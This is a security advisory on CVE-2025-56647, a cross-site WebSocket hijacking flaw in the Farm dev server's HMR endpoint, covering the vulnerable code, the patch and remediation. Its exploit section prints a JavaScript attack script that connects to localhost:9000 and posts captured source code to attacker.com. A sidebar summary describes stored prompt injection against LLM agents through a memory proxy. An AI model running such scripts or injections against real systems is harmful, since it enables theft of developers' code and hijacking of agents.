CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2025-56647

Harvesting Your Code: The Farm Dev Server CSWSH Exploit

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 13, 2026·5 min read·54 visits

Executive Summary (TL;DR)

The Farm build tool (versions < 1.7.6) leaves its HMR WebSocket wide open. If a developer visits a malicious site while their dev server is running, the site can connect to localhost, hijack the WebSocket, and steal source code in real-time as the developer saves files.

A critical flaw in the @farmfe/core build tool allows remote attackers to siphon source code directly from a developer's machine via Cross-Site WebSocket Hijacking (CSWSH). By failing to validate the Origin header during Hot Module Replacement (HMR) negotiation, Farm permits any website visited by a developer to connect to their local dev server and listen for code updates.

The Hook: When Localhost Isn't Private

Modern web development is magical. You change a line of code, hit save, and your browser updates instantly without a full reload. This sorcery is called Hot Module Replacement (HMR). To make this happen, your build tool (in this case, Farm) spins up a local WebSocket server—usually on port 9000—that maintains a persistent connection to your browser. It sits there, eagerly waiting to push code updates the moment you touch a file.

But here is the catch: developers often assume that because a server is running on localhost, it is untouchable by the outside world. They treat 127.0.0.1 like a digital panic room.

CVE-2025-56647 turns that panic room into a glass house. The Farm development server failed to ask one simple question when a connection came knocking: "Who sent you?" Because of this polite negligence, any website you visit—yes, even that sketchy ad-laden recipe blog—can reach across the browser boundary, connect to your local Farm instance, and start harvesting your source code as you write it.

The Flaw: The Broken Door Handle

The vulnerability here is a textbook Cross-Site WebSocket Hijacking (CSWSH).

Web browsers implement the Same-Origin Policy (SOP) to prevent evil.com from reading data from bank.com via standard AJAX requests. However, WebSockets are a different beast. The WebSocket protocol specification explicitly allows cross-origin connections. It assumes the server is smart enough to check the Origin header during the handshake and decide whether to accept the connection.

Farm didn't do that.

When a browser (or a script running inside one) requests a WebSocket upgrade, it automatically sends an Origin header indicating where the request came from. A secure server looks at this and says, "Wait, why is http://shady-exploit-site.com trying to connect to my HMR service? Deny."

Farm's server, prior to version 1.7.6, essentially said, "Come on in!" It didn't validate the Origin header at all. It accepted connections from anywhere, effectively bypassing the only defense mechanism intended to prevent cross-site websocket attacks.

The Code: Anatomy of a Missing Check

Let's look at the smoking gun in packages/core/src/server/ws.ts. The vulnerability existed in how the server handled the HTTP upgrade request.

The Vulnerable Code:

Previously, the server just checked if the URL matched the HMR path. It didn't care about the origin.

// BEFORE: Blindly accepting connections
private isHMRRequest(request: IncomingMessage): boolean {
  return (
    request.url === this.config.hmr.path &&
    request.headers['sec-websocket-protocol'] === 'farm_hmr'
  );
}

The Fix (Commit 83342ef06e0aea37270950fd8c930422c4df0679):

The patch introduces a whitelist. The developers added logic to generate a list of allowed origins (typically just localhost and the machine's IP) and verify incoming requests against it.

// AFTER: Trust, but verify
private isHMRRequest(request: IncomingMessage): boolean {
  return (
    request.url === this.config.hmr.path &&
    request.headers['sec-websocket-protocol'] === HMR_HEADER &&
    // The critical fix:
    this.hmrOrigins.includes(request.headers['origin'])
  );
}

This simple addition of this.hmrOrigins.includes(...) closes the loop. If the origin isn't on the list, the WebSocket handshake fails, and the attacker gets a generic 400 or 403 error instead of your intellectual property.

The Exploit: Stealing Code in Real-Time

Exploiting this is terrifyingly simple. An attacker doesn't need to install malware on your machine. They just need you to visit a website while you are working.

Imagine you are building a proprietary trading algorithm. You have farm start running. You take a break and click a link to a "Top 10 Rust Tricks" article. Hidden on that page is the following JavaScript:

// The Attack Script
const socket = new WebSocket('ws://localhost:9000/__hmr', 'farm_hmr');
 
socket.onopen = () => {
  console.log('Gotcha! Connected to local dev server.');
};
 
socket.onmessage = (event) => {
  // This payload contains the code you just saved
  const update = JSON.parse(event.data);
  fetch('https://attacker.com/collect', {
    method: 'POST',
    body: JSON.stringify(update)
  });
};

The Sequence of Events:

  1. Connection: The browser sends a WebSocket handshake to localhost:9000. The malicious site's origin is sent in the headers.
  2. Acceptance: The vulnerable Farm server ignores the foreign origin and accepts the connection.
  3. Surveillance: You, the developer, spot a bug in your code. You fix it and hit Ctrl+S.
  4. Exfiltration: Farm detects the file change, packages the new source code into an HMR update, and broadcasts it to all connected clients—including the attacker's tab.

Your proprietary code is now sitting in the attacker's database.

The Impact: Why This Matters

This isn't just about leaking a few lines of CSS. HMR updates often contain the full source content of the modified module.

If a developer is working on backend logic (via a backend-for-frontend pattern), editing configuration files containing API keys, or patching security vulnerabilities in their own app, that information is broadcasted immediately.

Furthermore, because this is a local service exposed to the web, it bypasses firewalls. Your corporate firewall protects you from inbound connections from the internet, but it doesn't stop your browser from making an outbound connection to localhost initiated by a third-party script. It exploits the trust relationship between the developer and their own machine.

The Fix: Remediation

The remediation is straightforward. If you are using @farmfe/core, check your package.json immediately.

Upgrade Path:

  • Vulnerable: Versions < 1.7.6
  • Safe: Version 1.7.6 and above.

Run the following to patch:

npm install @farmfe/core@latest
# or
pnpm update @farmfe/core

If you cannot upgrade immediately, the only mitigation is paranoia: do not browse the internet while your dev server is running, or run your development environment inside a container (Docker/DevContainer) that does not expose the HMR port directly to the host's loopback interface without authentication.

Official Patches

GitHubCommit 83342ef fixing the origin check

Fix Analysis (1)

Technical Appendix

CVSS Score
6.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
EPSS Probability
0.01%
Top 97% most exploited

Affected Systems

@farmfe/core npm package

Affected Versions Detail

Product
Affected Versions
Fixed Version
@farmfe/core
FarmFE
< 1.7.61.7.6
AttributeDetail
CWE IDCWE-1385 (Missing Origin Validation in WebSockets)
Attack VectorNetwork (via Browser CSWSH)
CVSS6.5 (Medium)
EPSS Score0.00015
ImpactConfidentiality (High)
Exploit StatusPoC Available

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1041Exfiltration Over C2 Channel
Exfiltration
CWE-1385
Missing Origin Validation in WebSockets

Known Exploits & Detection

GitHub Issue #2168Original report detailing the lack of origin validation in HMR
Internal PoCBrowser-based JS payload to connect to localhost:9000 and log messages

Vulnerability Timeline

Vulnerability reported via GitHub Issue
2025-05-19
Fix committed to main branch (83342ef)
2025-06-20
CVE-2025-56647 published
2026-02-12

References & Sources

  • [1]GitHub Issue: Information Disclosure by Farm's Dev Server
  • [2]CWE-1385: Missing Origin Validation in WebSockets

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•2 days ago•CVE-2026-58254
6.5

CVE-2026-58254: Authorization Bypass in NATS Server Message Tracing for Leaf Node Connections

NATS Server prior to versions 2.12.8 and 2.14.3 contains an incorrect authorization vulnerability (CWE-863) in its message tracing subsystem. When evaluating whether a connection is permitted to publish trace events to a destination subject specified in the Nats-Trace-Dest header, the server only checks standard client permissions and omits permission checks for leaf node connections. This allows a connected leaf node operator with restricted publishing privileges to emit internal trace events to unauthorized subjects and suppress standard message delivery using the Nats-Trace-Only header.

Alon Barad
Alon Barad
11 views•10 min read
•2 days ago•CVE-2026-63341
7.5

CVE-2026-63341: Unauthenticated Denial of Service via Unbounded Topic Depth in Aedes MQTT Broker

CVE-2026-63341 is a high-severity Denial of Service (DoS) vulnerability in the Aedes MQTT broker for Node.js affecting all versions prior to 1.1.1. The flaw stems from missing input validation on the hierarchical depth of incoming MQTT topic strings before they are passed to the underlying topic-matching engine, qlobber. Because qlobber enforces a hardcoded limit of 100 topic levels and throws a synchronous exception when this threshold is exceeded, an attacker can send a single MQTT packet containing 101 or more forward-slash-separated levels to trigger an uncaught exception that immediately terminates the Node.js broker process.

Alon Barad
Alon Barad
14 views•12 min read
•2 days ago•CVE-2026-61725
6.1

CVE-2026-61725: Path Traversal and Arbitrary File Overwrite in sevenz-rust2

CVE-2026-61725 is a path traversal vulnerability (CWE-22) in the sevenz-rust2 Cargo package prior to version 0.21.1. The vulnerability occurs because the decompression utility fails to validate or sanitize archive entry filenames before joining them with the destination directory path via std::path::Path::join. An attacker who supplies a crafted 7z archive containing parent directory traversal sequences or absolute paths can write or overwrite arbitrary files on the host filesystem with the privileges of the extracting process.

Alon Barad
Alon Barad
6 views•12 min read
•2 days ago•CVE-2026-77309
8.8

CVE-2026-77309: Unauthenticated Remote Code Execution in NASA-AMMOS AIT-GUI via Incomplete File Cleanup and Path Traversal

CVE-2026-77309 (GHSA-jrjx-9jjw-747m) is a high-severity unauthenticated remote code execution vulnerability affecting NASA-AMMOS AIT-GUI versions 1.0.0 through 2.5.0. The flaw results from chaining an incomplete file cleanup error in the telemetry query endpoint (/tlm/query) with a directory traversal flaw in the script execution endpoint (/script/run). An attacker on an adjacent network can stage arbitrary Python statements into a static file on disk and execute that file under the privileges of the AIT-GUI web server process.

Amit Schendel
Amit Schendel
16 views•10 min read
•2 days ago•CVE-2026-77332
2.3

CVE-2026-77332: Surfaced-Memory Envelope Injection and Stored Prompt Injection in memtomem-stm

A vulnerability classified under CWE-116 (Improper Encoding or Escaping of Output) exists in memtomem-stm versions 0.1.0 through 0.1.33. The software acts as a Model Context Protocol (MCP) short-term memory proxy gateway for AI agent architectures. When surfacing retrieved memories and scratchpad items into downstream Large Language Model (LLM) context envelopes, the SurfacingFormatter component fails to properly sanitize untrusted memory attributes. An attacker with the ability to plant untrusted content into the agent's long-term or working memory store can inject arbitrary structural delimiters, close the <surfaced-memories> XML boundary prematurely, visually obscure instructions using Unicode bidirectional overrides, and execute stored prompt injection attacks against downstream LLM agents.

Alon Barad
Alon Barad
19 views•10 min read
•2 days ago•CVE-2026-77331
2.0

CVE-2026-77331: Race Condition and Session State Corruption in memtomem-stm

CVE-2026-77331 (GHSA-72jh-722p-rqr3) is a concurrency and session-state synchronization vulnerability in memtomem-stm, a short-term memory proxy gateway for AI agents. In versions 0.1.2 prior to 0.1.34, concurrent Model Context Protocol (MCP) Remote Procedure Call (RPC) failures or mid-flight task cancellations can initiate duplicate reconnect loops and permit dirty or cancelled transport sessions to be reused. This deficiency results in session-state integrity loss and local service degradation.

Amit Schendel
Amit Schendel
8 views•9 min read